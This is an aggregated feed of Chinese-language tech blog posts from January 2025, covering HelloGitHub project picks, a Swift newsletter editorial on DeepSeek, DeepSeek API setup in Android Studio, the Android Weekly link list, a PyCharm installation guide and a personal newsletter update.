  std::string save_img_path = "test_results.jpg";

  auto *yolov5 = new lite::cv::detection::YoloV5(onnx_path); 
  std::vector<lite::types::Boxf> detected_boxes;
  cv::Mat img_bgr = cv::imread(test_img_path);
  yolov5->detect(img_bgr, detected_boxes);
  
  lite::utils::draw_boxes_inplace(img_bgr, detected_boxes);
  cv::imwrite(save_img_path, img_bgr);  
  delete yolov5;
  return 0;
}

34、minimind:从零开始训练小型语言模型。这不仅是一个微型语言模型的实现,更是一份入门 LLM 的教程,旨在降低学习和上手 LLM 的门槛。它提供了从数据预处理到模型训练、微调和推理的全流程代码和教程。最小模型仅 0.02B 参数,可在普通 GPU 上轻松运行。

其它

35、flutter_slidable:Flutter 的滑动操作组件。这是一个 Flutter 的开源库,可用于快速实现列表项的滑动操作,支持多方向、滑动动画、自动关闭等功能。

36、inky-dashboard:电子墨水屏的待办事项和日历管理工具。这是一款低功耗的电子墨水屏待办事项和日历管理工具,硬件采用 Raspberry Pi Pico W 和 Inky Frame 7.3 英寸七色电子墨水屏,同时使用 LVGL 实现界面布局,支持多种颜色显示、待办事项、日历同步等功能。

37、nginx-proxy:为 Docker 容器自动配置 Nginx 反向代理。该项目可以自动为 Docker 容器提供 Nginx 反向代理服务。它能够实时监听 Docker 容器的启动和停止事件,自动为每个 Docker 容器配置 Nginx 反向代理,无需手动干预,极大简化了容器环境下的 Nginx 配置流程。

# 第一步启动 nginx-proxy
docker run --detach \
    --name nginx-proxy \
    --publish 80:80 \
    --volume /var/run/docker.sock:/tmp/docker.sock:ro \
    nginxproxy/nginx-proxy:1.6

# 第二步启动应用
docker run --detach \
    --name your-proxied-app \
    --env VIRTUAL_HOST=hellogithub.com \
    nginx

38、reference:为开发者准备的速查表。这是一份专为开发者准备的快速参考手册(cheat sheet)集合,旨在为开发者提供简洁、直观的速查表,内容涵盖多种编程语言、框架、Linux 命令和数据库等。来自 @databook 的分享

39、VoxelSpace:不到 20 行的地形渲染算法。这是一个用于地形渲染的算法,核心代码不到 20 行。它复现了经典游戏 Comanche 所采用的渲染技术(Voxel Space),为开发者提供了一个学习和参考的示例。

def Render(p, height, horizon, scale_height, distance, screen_width, screen_height):
    # Draw from back to the front (high z coordinate to low z coordinate)
    for z in range(distance, 1, -1):
        # Find line on map. This calculation corresponds to a field of view of 90°
        pleft  = Point(-z + p.x, -z + p.y)
        pright = Point( z + p.x, -z + p.y)
        # segment the line
        dx = (pright.x - pleft.x) / screen_width
        # Raster line and draw a vertical line for each segment
        for i in range(0, screen_width):
            height_on_screen = (height - heightmap[pleft.x, pleft.y]) / z * scale_height. + horizon
            DrawVerticalLine(i, height_on_screen, screen_height, colormap[pleft.x, pleft.y])
            pleft.x += dx

# Call the render function with the camera parameters:
# position, height, horizon line position,
# scaling factor for the height, the largest distance, 
# screen width and the screen height parameter
Render( Point(0, 0), 50, 120, 120, 300, 800, 600 )

40、zh-style-guide:中文技术文档写作风格指南。这是一个开源的中文技术文档写作规范指南,旨在为中文技术文档的语言风格、结构样式、内容元素、标点符号、格式排版等方面提供参考规范。

开源书籍

41、Foundations-of-LLMs:《大模型基础》。该书是由浙江大学 DAILY 实验室开源的大语言模型教材,内容涵盖传统语言模型、大语言模型架构演化、Prompt 工程、参数高效微调、模型编辑、检索增强生成等方面。来自 @无间之钟 的分享

42、pytorch-deep-learning:《学习 PyTorch 进行深度学习:从零到精通》。该项目提供了丰富的图文教程、代码示例、视频讲解和实战项目,旨在通过实践的方式帮助初学者掌握 PyTorch 框架和深度学习技术。

最后

感谢参与分享开源项目的小伙伴们,欢迎更多的开源爱好者来 HelloGitHub 自荐/推荐开源项目。如果你发现了 GitHub 上有趣的项目,就点击这里分享给大家伙吧!

本期有你感兴趣的开源项目吗?如果有的话就留言告诉我吧~如果还没看过瘾,可以点击阅读往期内容。

感谢您的阅读,如果觉得本期内容还不错的话 求赞、求分享 ❤️

by HelloGitHub at January 27, 2025 12:33 AM

juejin ios

DeepSeek:花小钱办大事 | 肘子的 Swift 周报 #068

issue68.jpg

欢迎访问 weekly.fatbobman.com 订阅本周报的电子邮件版本。也欢迎访问我的博客 肘子的 Swift 记事本 查看更多的文章。

肘子的话

DeepSeek:花小钱办大事

DeepSeek 推出的新模型无疑是近期科技界最耀眼的明星。他们以极低的训练成本,打造出了性能不逊于当前主流大模型的 AI 系统。从个人使用体验来看,DeepSeek 的 V3 和 R1 在相当多的场景下足以满足我的需求。令人惊讶的是,其训练成本仅为数百万美元,这一数字引发了业内的广泛关注和质疑。一些从业者甚至将此视为“认知作战”,难以置信。然而,其 API 定价仅为主流模型的几十分之一,这无疑是对其训练高效性的最佳佐证。更令人钦佩的是,DeepSeek 选择开源其模型的训练方法与推理机制,这一举措有望推动更多低成本、高质量的 AI 模型涌现,为用户带来优质且价格亲民的 AI 服务。

然而,DeepSeek 的成功能否促使行业巨头调整模型发展路线,却是一个值得深思的问题。自 OpenAI 用“大力出奇迹”的方式证明 LLM 的潜力以来,AI 行业几乎全盘接受了“资源至上”的信条:资金、算力与顶尖人才成为制胜法宝。如今,AI 产业已演变为一场资本的狂欢盛宴。无论产品是否盈利,只要宣布购买了大量显卡,公司的股价就能水涨船高。在“求快、求大”的行业风潮下,大多数从业者已深陷其中,难以自拔。

在这样的环境中,创新往往被巨额资源所稀释。当行业领导者将注意力集中在如何花钱时,像 DeepSeek 这样以有限资源实现突破的做法显得尤为珍贵。或许正是因为资源的稀缺,他们才得以另辟蹊径,寻找全新的技术路径。中国有句古语:“从俭入奢易,从奢入俭难”。那些习惯于高投入、大规模资源配置的头部 AI 企业,在短期内转变思维模式无疑是困难的。即使 DeepSeek 的方法能够提供一些启发,但如果没有彻底的理念变革,这些企业在降低训练成本上将难以取得持续的显著进展。

我也衷心希望 DeepSeek 在未来获得更多资源后,能够保持对有限资源的高效利用,不被丰沛的资源所累。DeepSeek 的成功不仅是技术的胜利,更是开源精神的胜利,是一次未被资本裹挟的成功,也是真正值得期待的成功。

前一期内容全部周报列表

近期推荐

如何在 macOS 应用中检测点击菜单栏图标时是否按下了修饰键 (How to Check if a Modifier Key Is Pressed When Clicking on a Menu Bar Item in macOS Apps)

有一定经验的 macOS 用户或许已注意到,在打开应用菜单的同时按下某些修饰键(例如 Option),会触发与平时不同的菜单选项。本文作者 Pol Piella Abadia 详细介绍了如何在 AppKit 和 SwiftUI 中检测这一行为,并通过简单的实现来展示或隐藏不同的菜单内容。尽管这是个细节功能,却能为你的应用增添更专业的交互体验。

用两个编辑器开发,因为 Xcode 太蠢了 (Using 2 Editors Because Xcode Is Dumb)

在 Xcode 16 之前,开发者可以方便地将某个库的本地版本拖入项目中,并在开发项目的同时直接修改库代码。然而,这一便捷操作在 Xcode 16 中被废弃,取而代之的是需要手动配置的本地依赖路径(如 ../../PACKAGE_NAME/)。这一变更导致了诸多不便,例如文件变更后无法自动同步、无法运行本地库的测试,以及无法同时在两个 Xcode 窗口中打开库和项目。Christian Tietze 对此调整表示不满,并建议开发者使用另一款非 Xcode 编辑器搭配命令行工具进行开发,以提高效率和灵活性。

在 SwiftUI 中创建一个可重用的操作菜单组件 (Creating a Reusable Action Menu Component in SwiftUI)

许多 SwiftUI 开发者习惯将 SheetconfirmationDialogcontextMenu 的实现直接嵌入主视图代码中,这虽然方便,但会导致代码难以维护和复用。Peter Friese 在本文中分享了通过提取视图代码、创建自定义 Modifier、使用 LabelStylePrimitiveButtonStyle 定制样式与行为的方式,来构建一个可重用的操作菜单组件。这种方法不仅简化了代码,还显著提高了组件的复用性和 UI 设计的一致性,为 SwiftUI 项目带来了更高的开发效率和更优的用户体验。

减少动画的动态效果 (Reducing Motion of Animations)

Apple 的 Human Interface Guidelines 提醒开发者,动画的滥用可能会导致用户分心或身体不适。在本文中,Keith Harrison 探讨了如何适配辅助功能中“减少动态效果”的设置,并提供了实用的代码示例。Harrison 强调了以下原则:不要仅为了添加动画而添加动画;动画不应是传递关键信息的唯一方式;要特别留意大幅度或高频率的动画效果。他还展示了如何在 SwiftUI 中利用 .accessibilityReduceMotion 检测设置状态,并根据用户需求禁用或调整动画,从而实现更友好的用户体验。

在 SwiftUI 视图外观察 @Observable 类的属性 (Observing Properties on an @Observable Class Outside of SwiftUI Views)

虽然 Observation 框架主要为 SwiftUI 提供支持,但开发者也可以通过 withObservationTracking 在视图之外观察 @Observable 实例的属性变化。Donny Wals 在文中详细讨论了相关技术要点,包括如何实现 didSet 效果、优化代码复用,以及在 Swift 6 中处理 @Sendable 限制等问题。Wals 指出,Observation 在 SwiftUI 之外的使用存在诸多局限性,尤其是在 Swift 6 的语言模式下,建议优先采用更成熟的 Combine 框架进行可靠的属性观察。

Tuist Registry 上线 (Announcing Tuist Registry)

Swift Package Manager(SwiftPM)尽管无需依赖中心化的包注册服务,而是直接从源代码库管理依赖,但这种去中心化的机制也带来了一些副作用:

  • 存储和效率问题:克隆一个包时会下载完整的 Git 历史,导致磁盘空间浪费。
  • 非确定性构建:Git 仓库的版本标签可能被重新分配,造成构建结果不一致。
  • 可用性风险:如果依赖的 Git 仓库被移动或删除,后续构建将失败。
  • 速度瓶颈:对于历史记录较大的项目,克隆仓库的速度会明显变慢。

为了解决这些问题,几天前 Tuist 宣布了全新的服务 —— Tuist Registry。该服务基于 Swift Package Registry 提案 SE-0292 实现,允许开发者直接下载所需版本的源码归档文件,而无需下载整个 Git 历史。这一改进显著提升了依赖解析的效率,节省时间和磁盘空间,使得本地开发和持续集成(CI)更高效、更可靠。

在这篇文章中,Marek Fořt 详细介绍了 Tuist Registry 的优势及其使用方法。

往期内容

THANK YOU

如果你觉得这份周报或者我的文章对你有所帮助,欢迎 点赞 并将其 转发 给更多的朋友。

欢迎访问 weekly.fatbobman.com 订阅本周报的电子邮件版本。也欢迎访问我的博客 肘子的 Swift 记事本 查看更多的文章。

by 东坡肘子 at January 27, 2025 12:15 AM

hellogithub

HelloGitHub 第 106 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 42 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (4)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (4)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cKotlin \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (4)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (6)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (2)'

January 27, 2025 12:07 AM

January 26, 2025

juejin android

Android Studio如何接入DeepSeek API

这几天DeepSeek特别火,想着抛弃昂贵的Chatgpt,转而投向它的怀抱。顺便提一句,直接使用网页版是不收费,但本文的这种方式是调用DeepSeek的API,需要一定的费用,大家可以根据自己的需要进行选择,纯属玩玩罢了。IntelliJ IDEA也可以参照此设置。废话不多说,直接开始。

一、注册账号获取API KEY

1、首先登录DeepSeek的API平台,没有账号需要先注册账户。链接: DeepSeek 开放平台, 最近登录的人太多了,有时候登录会比较慢。登录不上就多试几次。 登录后,选择左侧的API keys选项,如下图,

image.png

选择“创建API key”,

image.png 输入key的名称后,选择“创建”,成功后跳转到key的内容。需要注意的是,一定要保存,一定要保存,一定要保存。建议拷贝下来。因为之后再也无法查看key的内容了。

1737908495795.png 你可以在“用量信息”查看你的API Key的使用信息。刚创建的账号,deepseek会赠送一些免费金额或额度,额度用尽后,你也可以进行充值。

二、AS安装CodeGpt插件

1、熟悉安装插件的小伙伴,直接在插件市场搜索CodeGpt后,安装即可。不熟悉的小伙伴,可以继续往下看。 以windows版本为例: 选择“File”-》“Setting”-》“Plugins”,出现插件安装页面,选择“MarketPlace”,搜索“CodeGpt”,选择“install”进行安装。如图:

image.png 安装完成后,重启IDE。

三、配置CodeGpt插件

1、基础设置

选择“File”-》“Setting”-》“Tools”-》“Codegpt”进行插件配置,需要注意的或修改,我已经标出来了。

1737909622581.png

  • DisPlayName:随便取,取个自己喜欢的名字
  • Service:选择“Custom OpenAI Service”
  • API key: 注册时得到的API Key,要是不小心没保存下来,只能再注册个了,真找不到了。
  • URL:输入DeepSeek的对话API地址(api.deepseek.com/chat/comple…

2、设置“body”

1737910258526.png

  • max_tokens:最大8192,默认4096,可以自己设置
  • temperature:采样温度
  • model:模型,模型可输入“deepseek-chat” 和 “deepseek-reasone”。分别对应“V3”和“r1”模型。V3模型便宜点,r1是最新最强大的模型,当然价格也贵。具体的说明可参照官方API说明。对话补全 | DeepSeek API Docs。 别忘了,最后点击“OK”进行保存。
  • 当然你可以试一下Test Connection,测试下你配置是否正确。

四、开始你的第一次DeepSeek对话吧

1、在代码区域,右击弹出弹窗。选择“New Chat”

image.png

2、在底部输入框输入你的问题,DeepSeek就能回答你了。

1737911246856.png

by 参宿四南河三 at January 26, 2025 05:12 PM

Android Weekly #202504

Android Weekly 是由 Gracker 精心整理和发布的技术资讯周刊,每周一准时更新,汇聚了过去一周内与 Android 相关的高质量技术文章、泛客户端技术的最新动态,以及其他值得关注的非技术类文章,内容覆盖广泛,从 Android 开发到跨平台技术,从系统底层优化到前沿技术分享,为开发者提供全方位的知识拓展。

本周刊可以通过微信公众号、知乎专栏、掘金专栏、个人博客、竹白等平台订阅和阅读。

技术文章

  1. 深入 Flutter 和 Compose 的 PlatformView 实现对比,它们是如何接入平台控件 : 本文深入对比了 Flutter 和 Compose 在 PlatformView 实现上的差异,重点分析了它们接入平台控件的方式、技术实现和适配场景的不同。文章详细展示了 Flutter 的三种模式(VD、HC、TLHC)的演变及其优缺点,同时探讨了 Compose 如何通过 AndroidView 将传统 View 集成到其 UI 渲染树中,并分析了两者在 SurfaceView 支持上的关键区别。
  1. Now In Android 精讲 5 - Data Layer : 文章主要精讲了 Android 中的 Data Layer,包括学习前需解决的一系列问题,通过代码示例讲解了 Repository 的使用及设计原则,阐述了 Repository 与 DataSource 的关系,介绍了离线优先业务,如模块设计、读写策略、同步设计等,最后总结鼓励对照代码学习并应用。

  2. DeepSeek-R1 发布,性能对标 OpenAI o1 正式版 : DeepSeek-R1 发布,性能媲美 OpenAI o1 正式版,并开源模型权重。DeepSeek-R1 采用 MIT License,支持模型蒸馏,API 和应用同步上线,性能在数学、代码、自然语言推理等领域表现优异。小模型蒸馏版本也已开源,协议调整为更宽松的 MIT License,明确支持用户进行模型蒸馏。API 服务定价透明,用户可通过官网或 App 体验新功能。

  3. 内核空间内存 profiler: memprofiling : 内核空间内存使用情况剖析器 memprofiling 由 Kent Overstree 和 Google 的 Suren Baghdasaryan 开发,能够直观展示内核内存的分配情况,包括分配者及分配对象数量。

  4. Android 15 内存追踪利器:ProfilingManager! : Android 15 内存追踪利器:ProfilingManager

  5. 两个 display driver 导致的问题 : 两个 display driver 导致的问题,第一个问题是 MTK 平台的 PQ 功能存在 bug,关闭 PQ 后解决了 settings 界面滑动花屏的问题。第二个问题是项目在开启 doze_suspend 后出现黑屏和 SF 的 DMA Buffer 泄露,原因是驱动在适配 doze suspend 功能时屏幕上下电逻辑存在 bug。

  6. 案例分享:数据库 sqlite3 访问 SIGBUS 崩溃问题 : 案例分享:文章探讨了一个与数据库 sqlite3 访问相关的 SIGBUS 崩溃问题,分析了其发生原因、定位方法及解决过程,最终确认是由于多线程并发操作导致文件锁丢失引发的数据库访问错误。

  7. AGI 前夜的思考 [译] : 这篇文章探讨了人工通用智能(AGI)即将到来的影响,分析了技术发展、社会变革、潜在风险及应对策略。作者认为我们正处于历史性时刻,未来将充满惊人的可能性,也伴随着巨大的挑战。文章呼吁每个人发挥作用,共同塑造一个积极的未来。

  8. 快让 Appium 自动化测试你的 App 吧 : 文章主要介绍了 Appium 自动化测试流程,包括环境配置(安装 appium、驱动,配置环境变量,选择 Python 语言等),使用方法如打开目标 Activity、查看布局元素、尝试点击事件,还提及相关工具及可能遇到的问题。

  9. 一些“小模型”的使用案例 : 在 Hacknews 上有一个讨论很火,就是大家都用小参数的语言模型做什么,有没有什么好的使用案例。我把这些案例整理汇总了一下,大约有六类:(1)文本分类与信息提取、(2)办公与生产力辅助、(3)对话/消息处理与辅助回复、(4)网页/应用集成与自动化、(5)娱乐、创作与游戏、(6)模型部署、技术瓶颈与思考。

  10. Episode 212: Happy birthday, Android Studio! : In this episode Chet, Romain and Tor chat with Xav and Jamal from the Android Studio team to talk about the history of Android’s IDE.

  11. Android 车机 Car 模式原理 : 文章主要介绍了 Android 车机的 Car 模式原理,包括车机系统 Android Automotive OS 的特点,Car 模式中的各个模块如 Car API、Car Service、Vehicle HAL 的功能、使用方法、类图等,还讲解了 MCU 报文通讯流程及相关开发维护工作。

  12. Android 字节码处理-ASM 入门开胃菜 : 文章主要介绍了 Android 字节码处理相关内容,包括编译流程、字节码修改阶段、ASM 框架(简介、两种模式、执行模型、核心组件)、类结构及描述符等,还提到 ASM 学习曲线陡峭,建议查阅官网和示例代码。

  13. Now in Android: 113 - Android 16 Developer Preview 2, Android XR, Android Studio Ladybug, and more! : Welcome to Now in Android, your ongoing guide to what's new and notable in the world of Android development. In this episode, we’ll cover updates on the Second Developer Preview of Android 16, Android XR, Spotlight Week on Android Camera and Media, Android Studio Ladybug Feature Drop and more!

  14. Android WebView 中网页被劫持的原因及解决方案 :这篇文章探讨了 Android WebView 中网页被劫持的原因及解决方案。原因包括 JavaScript 重定向、恶意网页等多种情况。解决方案有使用 HTTPS、验证 URL 等措施,并提供了相应代码案例。还通过案例深入分析了问题,得出网页被劫持可能由多种因素导致的结论。

  15. Kotlin 技术月报 | 2025 年 1 月 :2025 年 1 月的 Kotlin 技术月报涵盖了最新动态、精选博客和社区活动等。最新动态包括 IDE 支持、Kotlin K2 编译器新特性、Gradle 支持情况等。精选博客有 KMP 发展回顾、KMM 跨平台原理、MMKV 封装思路等。社区活动是 Kotlin 中文开发者大会视频回放。

  16. 带着问题学,Compose 附带效应(Side Effect)一探究竟 :文章以“Jetpack Compose 附带效应(Side Effect)”为主题,介绍了其定义,包括在组合函数中对输入输出范围外状态或系统产生影响的操作,如网络请求等。还列举了处理副作用的 API 及其用途场景、特别之处,如 SideEffect、LaunchedEffect 等。探讨了如何确保重组时应用状态与外部系统一致,以及副作用 API 的最佳实践和常见误区,最后总结了实际开发中的关键要点。

非技术文章

  1. SP05.愿意主动承受痛苦,才是热爱的证明 : 文章探讨了“热爱”与“痛苦”之间的关系,指出真正的热爱往往藏在愿意主动承受的痛苦背后。通过作者自身的经历以及身边人物的故事,阐述了如何辨别兴趣与热爱,并强调主动选择承受痛苦的重要性。

  2. 读《吸引力法则:如何利用心理暗示实现愿望》的记录与思考 : 这篇文章是作者对《吸引力法则:如何利用心理暗示实现愿望》一书的读后感和思考。文章从吸引力法则的定义、理论体系到具体实践方法,进行了系统的梳理和个人化的解读。作者强调吸引力法则的核心是“相似者互相吸引”,通过关注感受和调整磁场,达到与愿望和谐的状态,并分享了多种提升想象力和正向思维的具体方法。

  3. 月刊(第 28 期):AI 没有体验世界的能力 : 本篇是对二〇二四年十一月至十二月的记录与思考。

  4. EBook - 自洽的程序员 : 但这本书的真正用意是想解决工作过程中碰到的焦虑、倦怠、迷茫、抑郁等情绪,聚焦于解决具体问题,通过改变认知将我们从负面情绪的泥淖中走出来,做到更坦然,真诚的面对自己的内心,成为一个自洽的程序员。

  5. 33 岁在重庆,程序员,在 2024 年拥有的面试经历 : 这篇文章记录了一位 33 岁的程序员在 2024 年于重庆的求职经历及反思。他分享了多次面试的过程、心得以及对未来的展望,同时总结了求职过程中需要注意的事项和心态调整的重要性。

  6. 《奔跑吧,程序员:从零开始打造产品、技术和团队》 : 这篇文章是对创业公司、技术选择、设计原则、招聘策略以及学习技巧等主题的深入探讨。通过实际案例和理论分析,文章介绍了如何在不确定的环境中快速增长,并提供了许多实用建议。

  7. 技术简报 2025 第一期 : 本文章主要整理了一系列技术相关的文章和主题,包括搜索引擎架构、Linux 上下文切换、GPU 计算、数据库分区、创造性思维等内容,旨在分享编程技术洞察和经验。

  8. 读《黄仁勋:英伟达之芯》 : 这篇文章探讨了黄仁勋及其领导下的英伟达如何通过创新和坚持,成为人工智能领域的领导者。文章详细描述了黄仁勋的管理风格、他对技术的深刻理解,以及他如何利用第一性原理重新定义 GPU 的应用场景,推动 AI 革命。

  9. 一个伪独立开发者的独白——4399 小游戏开发 : 作者回顾了自己作为伪独立开发者的经历,分享了开发 4399 小游戏的经验和心得。

  10. 【Netflix】极简主义:记录生命中的重要事物 官方双语字幕 Minimalism : 这部纪录片访问的对象,都努力抗拒认为事物能带来幸福的美式理念,展现少即是多的真谛。

  11. 被动收入的一些思考与实践(1) : 这篇文章讲述了作者在构建被动收入过程中的实践经验、心得体会以及一些关键洞见。通过一次小的尝试,作者逐步摸索出如何将自己的技能和资源转化为可持续的收入来源,同时也总结了在过程中学到的核心理念。

工具

  1. 个人工具箱 : 自己一直是个工具控,也一直信奉着“工欲善其事,必先利其器”的理念,总是不断折腾和优化自己的硬件与软件,针对自己的一个特定需求会试图找到最优解,现在也慢慢找到了最适合自己使用习惯的解决方案。因为工作、学习和个人兴趣,设备经过很多次迭代,在这个时间节点作一下记录,后续也会不断更新,希望能够对其他人有所参考。
  2. 对标 Cursor 和 Windsurf,Trae 如何成为中文开发者的首选? : Trae 是字节跳动推出的一款专为中文开发者优化的 AI IDE,旨在解决现有工具在中文语言支持上的不足,同时通过整合 Claude 3.5 和 GPT-4o 等主流大模型,提升开发效率并提供智能化支持。Trae 通过本地化设计、便捷的功能迁移和多样化的 AI 功能,重新定义了中文开发者友好型 IDE 的标准。

杂记

关于作者

下面是个人的介绍和相关的链接,期望与同行的各位多多交流,三人行,则必有我师!

  1. 掘金 - Gracker:juejin.cn/user/181684…
  2. 知乎 - Grackerwww.zhihu.com/people/grac…
  3. 个人博客 - Android Performance : 写东西的地方
  4. 个人介绍 - 欢迎加微信群组多多交流 :里面有个人的微信和微信群链接。
  5. 个人整理和搜集的优秀博客文章 - Android 性能优化必知必会 :欢迎大家自荐和推荐 (微信私聊即可)
  6. 本周刊 Newsletter 订阅androidweekly.zhubai.love/ ,支持微信和邮箱订阅
  7. 微信公众号 Android Performance
  8. Android 性能优化知识星球 : 个人运营的一个知识星球,欢迎加入,多谢支持~

by Gracker at January 26, 2025 04:19 PM

juejin freebie

【新手必看】PyCharm2025 免费下载安装配置教程+Python环境搭建、图文并茂全副武装学起来才嗖嗖的快,绝对最详细!

PyCharm 介绍 🌰

Pycharm是由JetBrains打造的一款专门用于编写和开发Python应用程序的集成开发环境IDE,也是专业的Web开发工具, 如果你是一个Python专业开发者或者爬虫开发爱好者,那么这款工具绝对是你的首选!

当你非常熟悉Python开发的时候,那么这款IDE将会帮助你提高开发效率,因为它不仅仅是写代码那么简单,它还有调试、语法高亮、项目管理、代码跳转、智能提示、自动完成、单元测试、版本控制等等一系列功能!

如图

PyCharm 版本 🍏

PyCharm的版本类型包括专业版、教育版、社区版

**社区版(Community) ** ⭐

这个版本官方是完全免费的,适用于个人小型团队,同样这个版本也带有最基本的Python开发功能, 比如:代码高亮、代码完成、调试工具等等..这也是我今天主要讲的版本,对于刚刚入门Python开发的小伙伴来说完全够用了,你完全没有必要去搞那些乱七八糟东西,不用付费也能轻松拥有强大的编程开发IDE!

专业版(Professional)

这个版本是收费的, 并且价格根据所选择的许可类型和期限而有所不同, 许可类型包括个人商业许可证,期限包括1年、2年和3年等等,它适用于公司进行专业互联网开发, 也就是商业开发,功能更加强大。

它包含了所有社区版(Community)的所有功能,并且还包含了更多的高级功能,如代码分析、集成版本控制、Web开发工具等等...但是如果你刚刚入门,完全没有忽略这个版本!

教育版(Education)

是免费的,适用于学生和教育工作者

这个版本主要是针对教育培训机构设计的版本,它包含了Professional版本的所有功能,并且可以通过教育资格申请来获取学生和教师的免费使用权利

Python 安装 ⚡

我们在安装Pycharm之前,首先要先安装Python环境也就是安装Python解释器

因为PyCharm是一个用于编写和调试Python代码的开发工具,而Python解释器是用于解释执行Python代码PyCharm需要依赖Python解释器来执行Python代码,因此在使用PyCharm之前需要先安装Python解释器

简单的说就是因为PyCharm需要Python解释器来运行和执行Python代码!

Python下载 🔻

这里我以win10系统为例, 但是先要去下载Python

官方地址: www.python.org/downloads/

这里我就下载Python3.10.7版本的

如图

下载好之后,是一个python-3.10.7-amd64.exe的文件

如图

目前Python已经更新到了3.12.1

Python 安装 ❤️

win10中安装Python,其实很简单, 跟一般的软件安装差不多!

这里直接点击下载好的python-3.10.7-amd64.exe开始安装

然后选择自定义安装方式

如图

继续默认下一步:

然后自己选择一个安装路径!

如图

然后点击Install开始安装Python

完成Python安装!

Python 环境变量的配置 📚

你安装Python的路径很可能不在当前操作系统提供可执行文件的搜索路径中, 也是Path路径

配置这个环境变量可以让系统轻松帮你找到Python来执行!

win10中具体步骤为如下:

点击我的电脑右键---->属性---->高级系统设置---->选择高级选项卡---->环境变量

这里我们就选择系统变量下的Path进行编辑

如图

然后把你安装Python的路径添加到Path当中,这里我的路径为:D:\Python 3.10.7 最后点击确定即可!

如图

当然你也可以配置一个PYTHONHOME环境变量

也就是为了方便后期其他程序利于检索!

具体方法如下:

我们就在系统变量当中来新建一个变量

点击新建 输入:PYTHONHOME和安装路径, 然后确定

如图

然后选择Path编辑它, 把%PYTHONHOME% 添加到其中即可!

如图

接着我们来测试一下,

按下快捷键Win+R打开运行, 并且输入cmd 调出命令提示符,输入python

如图

如果出现上图提示 那么说明Python安装就完成了!

PyCharm Community Edition 下载 🚀

我们把前期工作弄好之后,现在我们就可以来开始下载PyCharm

官方地址 www.jetbrains.com/zh-cn/pycha…

找到下面的PyCharm Community Edition(社区版) 点击下载即可!

如图

下载完成之后,我们会得到一个最新的pycharm-community-2023.3.1.exe的安装包文件!

如图

PyCharm Community Edition 安装 🚀

安装其实也很简单,就跟一般的软件安装一样!

我们首先双击pycharm-community-2023.3.1.exe安装包文件, 会弹出以下对话框

如图

点击下一步

接着我们选择安装目录,建议安装在D盘或者其他容量大一点的盘符下,不要安装在C盘

如图

然后继续点击下一步

接着来到我们的设置对话框,我个人建议把这些设置选项都勾选上, 然后点击下一步继续!

如图

最后点击安装即可开始安装PyCharm

完成安装!

PyCharm 新建项目并且配置集成Python解释器 🔥

首先我们找到并双击桌面上的PyCharm快捷方式打开IDE

如图

然后会弹出一个确认用户协议条款的对话框

勾选I confirm that I have read and accept the terms of this User Agreement

确认接受用户协议的条款即可, 然后点击Continue(继续)

如图

然后我们使用PyCharm新建一个Python项目, 在弹出的对话框中选择New Project

如图

然后在弹出的对话框中,填写项目名称指定项目路径文件夹,以及在Python version中指定Python的安装目录,找到Python.exe解释器

我的路径是:D:\Python 3.10.7\Python.exe

如图

然后点击Create新建项目, 稍等片刻...我们名为test1的项目就创建成功了

如图

当前项目文件夹下有一个名为.venv的目录,新手暂时不用管它!

输出你的一个:Hello World 🍇

我们可以选中当前项目名称test1,然后点击鼠标右键选择New, 然后选择Python File 来在项目中新建一个Python代码文件,这种文件的后缀名为.py

如图

然后给文件命个名字,回车即可!

如图

然后双击HelloWorld.py文件,输入以下代码

print("Hello World");

然后点击菜单栏中的Run-->Run HelloWorld.py命令运行程序代码!

如图

最后结果如下

现在你就可以愉快的使用PyCharm来编写你的Python程序代码啦!! ❤️❤️❤️

by 极客小俊 at January 26, 2025 02:13 PM

juejin career

AI 自动化与未来发展方向 | 2025 年第 4 周草梅周报

本文在 草梅友仁的博客 发布和更新,并在多个平台同步发布。如有更新,以博客上的版本为准。您也可以通过文末的 原文链接 查看最新版本。

前言

欢迎来到草梅周报!这是一个由草梅友仁基于 AI 整理的周报,旨在为您提供最新的博客更新、GitHub 动态、个人动态和其他周刊文章推荐等内容。


本期草梅周报是春节前的最后一期草梅周报了,在此先预祝大家新年快乐!

下期因为在春节内,所以会暂时停更一期,不过会在春节后继续更新。

春节了,也是时候休息下了

在此期间,也会顺便思考下草梅周报未来的发展方向。

目前,草梅周报整体而言存在一些问题,比如:

  • 虽然借助了 AI 生成,实现了一定的自动化。但没有完全实现自动化,还是需要人工处理。
  • 在原创前言的部分投入时间和精力较多,但收效甚微。
  • 目前还有点尴尬的是,原创的部分不足,但转载的内容也不足。
  • 文章整体的数据较为尴尬。

所以,草梅周报未来的发展方向,我想是:

  • 继续优化原创内容,提高文章质量。
  • 降低更新频率,提高文章质量。
  • 全面实现自动化,减少重复工作。

也正如我自己在《2024 年第 50 周草梅周报:AI 自动化与创作者不可能三角》中所说,靠个人维护一份周报(周刊)的难度是非常大的,也是难以持久的。

因此,在未来,借助各类 AI 工具,实现全面的自动化,会是周报、周刊等信息聚合类文章的趋势。

最新 GitHub 仓库

  • image-synth - 2025-01-19 22:48:17 一个可以指定背景图片和文字,并合成图片的 Node.js 工具

GitHub Release

rss-impact-server

  • v1.15.0 - 2025-01-25 20:38:08
    摘要: 版本 1.15.0 更新摘要
  1. 新功能:
    • 在推送功能中添加调试日志,以增强其可追踪性。

image-synth

  • v1.0.0 - 2025-01-20 00:42:46
    摘要: 1.0.0 版本更新摘要
  1. 新功能:
    • 更新示例代码以使用动态路径解析,确保图像合成正确引用文件。
